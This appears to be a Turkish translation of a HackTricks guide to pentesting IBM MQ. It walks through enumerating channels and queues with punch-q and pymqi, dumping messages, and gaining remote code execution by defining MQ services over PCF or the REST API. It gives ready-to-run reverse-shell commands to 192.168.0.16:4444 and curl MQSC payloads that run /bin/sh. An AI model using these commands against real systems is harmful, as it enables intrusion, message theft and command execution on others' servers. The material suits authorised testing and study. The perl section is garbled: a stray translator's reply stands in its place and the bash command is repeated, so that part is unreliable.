1414 - Pentesting IBM MQ
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel bilgiler
IBM MQ, mesaj kuyruklarını yönetmek için kullanılan bir IBM teknolojisidir. Diğer message broker teknolojilerinde olduğu gibi, üreticiler ile tüketiciler arasındaki bilgiyi almak, depolamak, işlemek ve sınıflandırmak için tasarlanmıştır.
Varsayılan olarak, IBM MQ TCP portu 1414 açıktır. Bazen, HTTP REST API portu 9443 üzerinde açılabilir. Metrics (Prometheus) ayrıca TCP portu 9157 üzerinden erişilebilir.
IBM MQ TCP portu 1414, mesajlar, kuyruklar, kanallar üzerinde işlem yapmak için kullanılabileceği gibi, instansı kontrol etmek için de kullanılabilir.
IBM, geniş bir teknik dokümantasyonu şu adreste sağlar: https://www.ibm.com/docs/en/ibm-mq.
Araçlar
Kolay sömürü için önerilen bir araç, Docker ile kullanılabilen punch-q’dir. Araç, Python kütüphanesi pymqi’yi aktif olarak kullanır.
Daha manuel bir yaklaşım için Python kütüphanesi pymqi kullanılabilir. IBM MQ dependencies gereklidir.
pymqi kurulumu
IBM MQ dependencies yüklenip etkinleştirilmelidir:
- https://login.ibm.com/ adresinde bir hesap (IBMid) oluşturun.
- IBM MQ kütüphanelerini şu adresten indirin: https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Linux x86_64 için dosya 9.0.0.4-IBM-MQC-LinuxX64.tar.gz’tür.
- Çıkarın (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Lisans koşullarını kabul etmek için
sudo ./mqlicense.shkomutunu çalıştırın.
Eğer Kali Linux kullanıyorsanız,
mqlicense.shdosyasını düzenleyin: aşağıdaki satırları kaldırın/yorum satırı yapın (satır 105-110 arası):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Bu paketleri kurun:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Ardından, geçici olarak
.sodosyalarını LD’ye ekleyin:export LD_LIBRARY_PATH=/opt/mqm/lib64, bu bağımlılıkları kullanan diğer araçları çalıştırmadan önce.
Sonra, projeyi klonlayabilirsiniz pymqi: ilginç kod parçacıkları, sabitler vb. içerir… Ya da kütüphaneyi doğrudan şu şekilde kurabilirsiniz: pip install pymqi.
Using punch-q
With Docker
Basitçe kullanın: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
Projeyi klonlayın punch-q sonra kurulum için readme’i izleyin (pip install -r requirements.txt && python3 setup.py install).
Sonrasında punch-q komutu ile kullanılabilir.
Keşif
Queue Manager adını, kullanıcıları, kanalları ve kuyrukları punch-q veya pymqi ile listelemeyi deneyebilirsiniz.
Eğer TCP/1414 filtrelenmişse veya hedef yalnızca gömülü web sunucusunu açıyorsa, TCP/9443’ü de kontrol edin. Yeni IBM MQ sürümleri mqweb etkinleştirildiğinde varsayılan olarak orada IBM MQ Console / REST API’yi açar ve yönetici REST uç noktası geçerli kimlik bilgisine sahipseniz rastgele MQSC komutları çalıştırabilir.
Queue Manager
Bazen Queue Manager adını almak için herhangi bir koruma yoktur:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Kanallar
punch-q dahili (değiştirilebilir) bir wordlist kullanarak mevcut kanalları buluyor. Kullanım örneği:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Bazı IBM MQ örnekleri unauthenticated MQ isteklerini kabul edebiliyor, bu yüzden --username / --password gerekli olmayabilir. Tabii ki, erişim hakları da değişkenlik gösterebilir.
Bir kanal adını (burada: DEV.ADMIN.SVRCONN) elde ettiğimiz anda, diğer tüm kanalları da sıralayabiliriz.
Sıralama temelde pymqi’nin code/examples/dis_channels.py kod parçacığıyla yapılabilir:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Ancak punch-q ayrıca o kısmı (daha fazla bilgiyle!) içerir. Şu şekilde başlatılabilir:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Birçok “it connects but returns 2035” vakası CHLAUTH kuralları veya hedef nesnelerde eksik OAM izinleri nedeniyle oluşur.
Zaten yönetici seviyesinde MQSC erişiminiz varsa, MATCH(RUNCHECK) uzak bir bağlantıya hangi kuralın uygulanacağını anlamanın en hızlı yoludur:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
9443 üzerindeki REST admin endpoint aracılığıyla aynı kontrol uzaktan yapılabilir:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Eğer uzaktan PCF kullanmak için yeterli haklara sahipseniz, IBM MQCMD_INQUIRE_CHLAUTH_RECS’yi sunar; bu, kanal kimlik doğrulama kayıtlarını ve bunların MCAUSER ile eşlemelerini döndürür. Bu, mesaj erişimi, nesne oluşturma veya servis suistimali denemeden önce bir kanalın uzak kullanıcıları daha ayrıcalıklı bir yerel hesaba eşleyip eşlemediğini doğrulamak için faydalıdır.
Queues
Bir pymqi (dis_queues.py) ile kod örneği var, ancak punch-q kuyruklar hakkında daha fazla bilgi almayı sağlar:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Kuyruk(lar)/kanal(lar)ı hedef alarak bunlardan mesajları sniff out / dump edebilirsiniz (yıkıcı olmayan işlem). Örnekler:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Tespit edilen tüm kuyruklarda tekrar denemekten çekinmeyin.
Kod yürütme
Devam etmeden önce birkaç detay: IBM MQ birden fazla yolla kontrol edilebilir: MQSC, PCF, Control Command. Bazı genel listeler IBM MQ documentation içinde bulunabilir. PCF (Programmable Command Formats) uzaktan instance ile etkileşim için odaklandığımız şeydir. punch-q ve ayrıca pymqi PCF etkileşimlerine dayanır.
PCF komutlarının bir listesini bulabilirsiniz:
İlginç bir komut
MQCMD_CREATE_SERVICE’dir ve dokümantasyonu here adresinde mevcuttur. Bu komut, instance’da yerel bir programa işaret eden birStartCommandargümanı alır (örnek:/bin/sh).Dokümanlarda bu komut için ayrıca bir uyarı bulunmaktadır: “Dikkat: Bu komut bir kullanıcının mqm yetkisiyle rastgele bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verildiğinde, kötü niyetli veya dikkatsiz bir kullanıcı sistemlerinize veya verilerinize zarar verebilecek bir hizmet tanımlayabilir; örneğin, gerekli dosyaları silerek.”
Not: IBM MQ dokümantasyonuna (Administration Reference) göre, servis oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere
/admin/action/qmgr/{qmgrName}/mqscadresinde bir HTTP endpoint’i de vardır (DEFINE SERVICE). Bu kısım burada henüz ele alınmamıştır.
Eğer MQ Console / REST API kimlik bilgileri varsa, genellikle aynı yönetim işlemlerine MQ client kütüphanelerini kullanmadan HTTPS üzerinde 9443 portundan erişebilirsiniz. IBM, /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc’yi plain-text MQSC veya JSON komutlarını kabul eden bir endpoint olarak dokümante ediyor.
Uzaktan program yürütme için PCF ile servis oluşturma/silme işlemi punch-q ile yapılabilir:
Örnek 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQ günlüklerinde komutun başarıyla çalıştırıldığını görebilirsiniz:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Ayrıca makinedeki mevcut programları da listeleyebilirsiniz (burada /bin/doesnotexist … mevcut değil):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Program başlatmanın asenkron olduğunu unutmayın. Bu yüzden exploit’ten yararlanmak için ikinci bir öğeye ihtiyacınız var (listener for reverse shell, file creation on different service, data exfiltration through network …)
Aynı teknik REST API üzerinden de çalıştırılabilir:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Bu, özellikle şu durumlarda yapılan değerlendirmeler için faydalıdır:
9443erişilebilir ancak1414daha küçük bir kaynak aralığıyla kısıtlanmış- Hedef ekip IBM MQ’yu ağırlıklı olarak web konsolu üzerinden yönetiyor ve REST rolleri sertleştirmeyi unutmuş
- Yerel olarak IBM MQ client kütüphanelerini kurmaktan kaçınmak istiyorsunuz ve yalnızca MQSC düzeyinde yönetim gerekiyor
Örnek 2
Kolay reverse shell için, punch-q ayrıca iki reverse shell payload önerir :
- Biri bash ile
- Biri perl ile
Elbette execute komutuyla özel bir tane oluşturabilirsiniz.
bash için:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Lütfen çevirmemi istediğiniz metni yapıştırın — “For perl:” başlığının altındaki İngilizce içeriği gönderirseniz Türkçeye çeviririm.
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Özel PCF
IBM MQ dokümantasyonuna bakabilir ve doğrudan pymqi python kütüphanesini kullanarak punch-q içinde uygulanmamış belirli PCF komutlarını test edebilirsiniz.
Örnek:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Sabit isimlerini bulamıyorsanız, IBM MQ documentation başvurabilirsiniz.
_Örnek: MQCMD_REFRESH_CLUSTER (Decimal = 73). MQCA_CLUSTER_NAME parametresini (Decimal = 2029) gerektirir; bu _ olabilir (Dok: ):*
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
args = {2029: "*"}
response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
print("Error")
else:
print(response)
qmgr.disconnect()
Test ortamı
IBM MQ davranışını ve exploits’lerini test etmek istiyorsanız, Docker tabanlı yerel bir ortam kurabilirsiniz:
- ibm.com ve cloud.ibm.com üzerinde bir hesabınız olması.
- Aşağıdaki gibi containerize edilmiş bir IBM MQ oluşturun:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Burada, queue yöneticisinin adı MYQUEUEMGR olarak ayarlandı (değişken MQ_QMGR_NAME).
Son 9.4.x developer imajları varsayılan davranışı değiştirdi:
adminveappyalnızca parolalarını belirlerseniz oluşturulur- IBM,
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORD’ı9.4.0.0’den itibaren kullanımdan kaldırılmış olarak belgeliyor - Tercih edilen yöntem,
mqAdminPasswordvemqAppPasswordadlı secrets enjekte etmektir
Podman ile hızlı bir yerel laboratuvar için, her iki kullanıcıyı şu şekilde oluşturabilirsiniz:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Varsayılan geliştirici yapılandırmasıyla:
DEV.ADMIN.SVRCONNyalnızcaadminkullanıcısına izin verirDEV.APP.SVRCONNuygulama kanalıdır ve beklenen kimlikappkullanıcısıdırhttps://<target>:9443/ibmmq/consoleyerleşik web sunucusu etkin olduğunda web konsolunu erişime açar
IBM MQ’nun portları açık ve çalışır durumda olmalıdır:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Eski sürüm IBM MQ docker images şu adreste: https://hub.docker.com/r/ibmcom/mq/.
Referanslar
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ dokümantasyonu
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container varsayılan geliştirici yapılandırması
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


